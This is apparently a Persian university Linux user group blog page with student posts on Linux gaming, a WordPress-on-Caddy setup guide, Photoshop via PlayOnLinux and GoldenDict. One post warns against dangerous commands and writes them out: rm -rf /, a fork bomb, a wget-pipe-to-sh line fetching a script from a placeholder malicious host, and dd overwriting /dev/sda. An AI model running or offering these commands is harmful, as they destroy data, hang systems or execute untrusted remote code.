گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

بازی های لینوکس


شاید برای شما هم این سوال پیش آمده باشد که آیا لینوکس قابلیت اجرای بازی ها را  دارد یا خیر؟

در واقع لینوکس توانایی اجرای بازی ها را دارد اما همه بازی ها برای لینوکس در دسترس نیستند.

دلیل آن هم سهم بسیار اندک لینوکس در بین رایانه های شخصی است.

اما با این حال تقریبا تمام سرورهای ساخت و رندر بازی ها از لینوکس استفاده می کنند.

به طور کلی به چهارطریق میتوان از لینوکس  برای بازی ها استفاده کرد.


1. بازی های لینوکسی

بازی هایی هستند که نسخه لینوکسی آن ها ساخته شده است و برای اجرا نیاز به ابزارهای اضافی ندارند.

هر توسعه لینوکس در ریپوزیتوری خود قسمتی برای دانلود این بازی ها را دارد.

از سایر منابع بازی های لینوکسی میتوان موارد زیر را نام برد:

Steam

GOG

Portable Linux Games

Game Drift

Linux Game Database

Penguspy



2. بازی های ویندوزی

به کمک بعضی از ابزارها میتوان برنامه ها و بازی های ویندوزی را روی لینوکس اجرا کرد.

از مهمترین این ابزار میتوان به موارد زیر اشاره کرد:

Wine

Crossover

Play On Linux



3. بازی های مرورگر

بازی هایی هستند که از مرورگر وب به عنوان پلتفرم برای اجرای بازی های آنلاین استفاده می کنند.

مرورگرهایی مانند گوگل کروم توانایی پشتیبانی از بازی های آفلاین را نیز دارند.



4. بازی های ترمینال

بازی های ساده ای هستند که در ترمینال لینوکس اجرا می شوند.

برای مثال در این پست نحوه اجرای بازی snake در ترمینال بیان شده است.

از منابع بازی های ترمینال میتوان به TTY Games اشاره کرد.



آخرین اخبار در مورد بازی های لینوکس را میتوانید از سایت های زیر دنبال کنید:

Gaming On Linux

Free Gamer

Linux Game News



منابع:

https://itsfoss.com/linux-gaming-guide



92353140

دانشجوی مهمان


وردپرس در اوبونتو با caddy

وردپرس یک سیستم مدیریت محتوای معروف بر اساس  PHP و  MySQL  است که تحت شرایط  GNU GPLv2  توزیع شده است.  در اغلب موارد  وردپرس با استفاده از Apache یا NGINX به عنوان سرور وب نصب شده است،  یا می توان آن را در محیط های جداگانه مانند ظروف Docker اجرا کرد.

Caddy (یا Caddy web server)، یک منبع باز، HTTP / 2 وب سرور است که به طور پیش فرض HTTPS را فعال می کند، بدون نیاز به پیکربندی خارجی و همچنین دارای یک ادغام قوی با رمزگذاری است.


همانطور که در مقدمه گفتیم، وردپرس نیاز به یک وب سرور، mysql و  php دارد. اول از همه، با اجرای دستور زیر،php و پسوند مورد نیاز وردپرس را نصب کنید:


# apt-get install php7.0-fpm php7.0-mysql php7.0-curl php7.0-gd php7.0-mbstring php7.0-mcrypt 
php7.0-xml php7.0-xmlrpc
چک کنید که نسخه ی php به درستی نصب شده است:

$ php -v
نصب و پیکربندی  MariaDB

# apt-get install mariadb-client mariadb-server
از نام MariaDB برای سرویس systemd استفاده می‌کند:

# systemctl start mysql
تنظیم رمز عبور ریشه MariaDB برای ایمن سازی پایگاه داده خود:
# mysql_secure_installation
از پارامترهای پیکربندی زیر خواسته می شود:

Enter current password for root (enter for none): PRESS ENTER

Set root password? [Y/n] Y
ENTER YOUR PASSWORD

Remove anonymous users? [Y/n] Y
Disallow root login remotely? [Y/n] Y
Remove test database and access to it? [Y/n] Y
Reload privilege tables now? [Y/n] Y
هنگامی که این گام کامل شد، می توانید به پایگاه داده MariaDB با رمز عبور خود دسترسی داشته باشید:

$ mysql -u root -p
ایجاد پایگاه داده جدید و کاربر
شروع پوسته MariaDB:
$ mysql -u root -p
برای ایجاد یک پایگاه داده جدید در وردپرس از MariaDBاستفاده کنید.در این آموزش، ما ازwordpressdb به عنوان نام پایگاه داده و wordpressusr به
عنوان نام کاربری برای نصب WP استفاده می کنیم. 
بنابراین کد ما اینگونه است:

mysql> CREATE DATABASE wordpressdbDEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
mysql> CREATE USER wordpressusr@localhost IDENTIFIED BY 'usr_strong_password';
 mysql> GRANT ALL PRIVILEGES ON wordpressdb.* to wordpressusr@localhost IDENTIFIED BY
 'usr_strong_password';

سپس می توانید خارج شوید:

mysql> FLUSH PRIVILEGES;
mysql> EXIT;
نصب وردپرس

دانلود و نصب وردپرس فرآیند ساده‌ای است که نیاز به اجرای دستورات زیر دارد:

# cd /var/www
# wget wordpress.org/latest.zip
# unzip latest.zip
تغییر مجوزهای وردپرس با استفاده از کد زیر می باشد:

# chown -R www-data:www-data wordpress
تغییر نام پرونده پیکربندی وردپرس و ویرایش آن:

# cd wordpress
# mv wp-config-sample.php wp-config.php
# $EDITOR wp-config.php
در اینجا، اطلاعات پایگاه داده را، با استفاده از آنهایی که در طول فرآیند پیکربندی MariaDB مشخص شده است، تغییر دهید:
DB_NAME = wordpressdb
DB_USER = wordpressusr
DB_PASSWORD = usr_strong_password
پیکربندی Caddy و شروع نصب wizard وردپرس
 
این آموزش فرض می‌کند که سرور Caddy را از قبل نصب کرده‌اید.پس فایل پیکربندی خود را ویرایش کنید:
# $EDITOR /etc/caddy/Caddyfile
در این فایل، محتوای زیر را کپی کنید:
example.com {
    tls admin@example.com
    root /var/www/wordpress
    gzip
    fastcgi / /run/php/php7.0-fpm.sock php
    rewrite {
        if {path} not_match ^\/wp-admin
        to {path} {path}/ /index.php?_url={uri}
    }
}
توجه: admin@example.com آدرس ایمیلی است که برای درخواست گواهینامه Let's Encrypt استفاده می‌شود.
ریستارت کردن caddy:

# systemctl restart caddy
به عنوان آخرین قدم، با یک مرورگر وب، به وب سایت خود بروید. این کار نصب wizard و راه اندازیوردپرس GUI را آغاز خواهد کرد که روند نصب را به 
پایان خواهد برد و به وردپرس دسترسی پیدا خواهید کرد.
منبع:
https://www.unixmen.com/wordpress-ubuntu-16-04-caddy/
بیتا نصیری 951830276

دستورات خطرناک linux

در عین جالب بودن استفاده از خط فرمان در لینوکس گاهی اوقات ممکن است این عمل خطرناک باشد زیرا با یک اشتباه کوچک میتواند منجر به آسیب ببه سستم شود. در ادامه ی مطلب شمارا با چند دستور خطرناک که استفاده از آنها توصیه نمی شود آشنا می کنیم:



1. rm  -rf

این دستور یکی از سریعترین راه ها برای پاک کردن یک پوشه و محتویات آن است اما یک اشتباه کوچک ممکن است آسیب جدی به سیستم عامل بزند.

  •     دستور rm -r پرونده را به صورت بازگشتی، حتی پوشه خالی پاک می کند.
  • دستور rm -f حذف بدون نیاز به «فقط خواندن فایل».
  •     rm -rf /: حذف همه چیز را در دایرکتوری ریشه.
  •     rm -rf *: خاتمه حذف همه چیز در دایرکتوری دایرکتوری / دایرکتوری کاری.
  •  rm -rf : حذف پوشه فعلی و پوشه های زیر را خاتمه دهید.


پس هنگام استفاده از این دستور باد قت عمل کنید. درصورتی که می خواهید مشکل حذف تصادفی را برطرف کنید نام مستعار rm را در bashcr با rm -i اییجاد کنید تا برای هر حذف از شما برای تایید حذف سوال کند.


2.:;{&:|:}():

این عبارت در واقع یک بمب افکن است. این کاربا تعریف تابع ":" که خود را یک بار با پس زمینه و یک بار با پیش زمینه تماس میدهد تا سیستم به طور کامل مهار شود و سپس دوباره اجرا می شود.


3.mvfolder   /dev/null

دستور بالا یک دستور انتقال است به آدرسی که در روبروی آن نوشته شده، اما نکته ی مهم اینجاست که null یک فایل ویژه ای است که تمام داده های نوشته شده در آن را حذف می کند و در نهایت گزارش میدهد که عملیات موفق است.


4.wget http://malicious_source -O- | sh

این دستور ابتده یک اسکریپت را از منببع مخرب دنلود و سپس آنرا اجرا می کند. wget برای دانلود و sh برای اجرا استفاده می شود.


5.dd if=/dev/random of=/dev/sda

دستور فوق sda بلوک را پاک کرده و داده های ناخواسته را به آن ارسال می کند. البته باید نکته را مد نظر داشته باشید که سیستم شما در حالت غیر قابل برگشت باقی خواهد ماند.


خب!

از 10 دستور خطرناک گفته شده در سایت در اینجا به 5 دستور مهمتر اشاره شد و کسانی که تمایل به مطالعه ی بیشتر در ازین زمینه دارند می توانند به آدرس زیر مراجعه نمایند.


https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/#


نویسنده:سینا صادقی

فوتوشاپ را به لینوکس خود بیاورید !!




وقتی از کاربران لینوکس بپرسید که چرا هنوز یک نسخه از ویندوز را روی سیستم خود نگاه داشته‌اند، خواهید دید که اکثر آنها یک دلیل برای انجام این کار دارند: "بازی‌ها" و همینطور "برنامه های گرافیکی".

در این صورت یکی از راه ها این است که برای مواقع ضروری، یک ویندوز هم در کنار سیستم عامل اصلی تان روی کامپیوتر داشته باشید و یا با کمک نرم افزارهایی مانند Virtual Box، اقدام به نصب ویندوز در محیط لینوکس کنید. اما راه دیگر، نصب مستقیم نرم افزارهای های ویندوزی روی لینوکس است. توسط این نرم افزار قدرتمند که PlayOnLinux نام دارد، قادر خواهید بود تا برنامه های ویندوز را در سیستم عامل لینوکس اجرا کنید. در این آموزش ابتدا به نصب این نرم افزار پرداخته و سپس به نصب برنامه ی محبوب فوتوشاپ خواهیم پرداخت. 

ادامه مطلب ...

معرفی و آموزش نصب دیکشنری GoldenDict


در حالی که برنامه  StarDict خود را به عنوان "بهترین برنامه فرهنگ لغت برای لینوکس و ویندوز" معرفی می کند، GoldenDict یک رقیب جدی برای آن است. این برنامه در ظاهر ، مانند هر برنامه فرهنگ لغت دیگری به نظر می رسد . اما با کمی دید دقیق تر می توان  چند ویژگی نسبتا جدید و بهتر کشف کنید که نه تنها آن را به یک فرهنگ لغت مناسب بلکه به یک ابزار تحقیق عالی  نیز تبدیل می کند. برای شروع، GoldenDict از طیف گسترده ای از فرمت های فرهنگ لغت پشتیبانی می کند، از جمله فرهنگ لغات :  StarDict، Babylon .BGL، فایل های  Dict   و همچنین فایل های منبع  ABBYY Lingvo  و آرشیو های فرهنگ لغات صوتی. علاوه بر این از منابع مبتنی بر MediaWiki نیز پشتیبانی می کند که شامل ویکیپدیا و ویکی دیکشنری  است. اما این همه ماجرا نیست از آنجا که GoldenDict بر پایه ابزار WebKit است، می تواند داده ها را از به صورت مستقیم از هر وب سایتی تجزیه و تحلیل کند پس  بنابراین می توانید از آن برای جستجوی کلمات در  منابع آنلاین نیز  استفاده کنید. از دیگر امکانات این فرهنگ لغت می توان به Scan Popup و کلیدهای میانبر کلی اشاره کرد. هنگامی که قابلیت Popup Scan فعال می شود، این برنامه یک پنجره فرهنگ لغت برای کلمه انتخاب شده در حال حاضر باز می شود و شما می توانید از این قابلیت در هر برنامه استفاده کنید. با تشکر از کلید های میانبر کلی، می توانید پنجره اصلی GoldenDict را در حال انجام هر کاری با استفاده از کلید ترکیبی مشخص شده اجرا کنیدو ترجمه مورد نظر خود را مشاهده کنید.


دانلود و نصب GoldenDict در لینوکس و اجرای آن سخت نیست. آخرین فایل tar.bz2 را دانلود کنید، آن را باز کنید و فایل اجرایی goldendict-bin را اجرا کنید (یا از اسکریپت goldendic.sh استفاده کنید). وب سایت این پروژه همچنین یک فرهنگ لغت انگلیسی و روسی عالی ارائه می دهد، بنابراین اگر شما در حال یادگیری زبان روسی هستید یا فقط به یک فرهنگ لغت روسی خوب نیاز دارید، ممکن است بخواهید آن را نیز نصب کنید. برای نصب دیکشنری (یا هر دیکشنری در یکی از فرمت های پشتیبانی شده برای این برنامه)، Edit -> Dictionary را انتخاب کنید، به قسمت Files بروید و مسیر حاوی فایل های دیکشنری را انتخاب کنید. OK را فشار دهید فرهنگ لغت جدید شما اضافه می شود. علاوه بر ویژگی های توصیف شده، GoldenDict دارای دو ویژگی دیگر نیز می باشد. رابط اصلی از قابلیت زبانه سازی (tabs)  پشتیبانی می کند، بنابراین شما می توانید چندین مقاله را در یک زمان باز کنید و با فرمان  Save article  می توانید مقالات مورد نظر خود را به عنوان فایل HTML ذخیره کنید.


مهم نیست که آیا شما به دنبال یک برنامه فرهنگ لغت خوب هستید یا به دنبال یک ابزار تحقیق ، حتما GoldenDict را برای تنوع انتخاب کنید 



علی ساعی   941831224 


منابع :

http://www.linux-magazine.com/Online/Blogs/Productivity-Sauce/GoldenDict-A-Dictionary-Nugget


.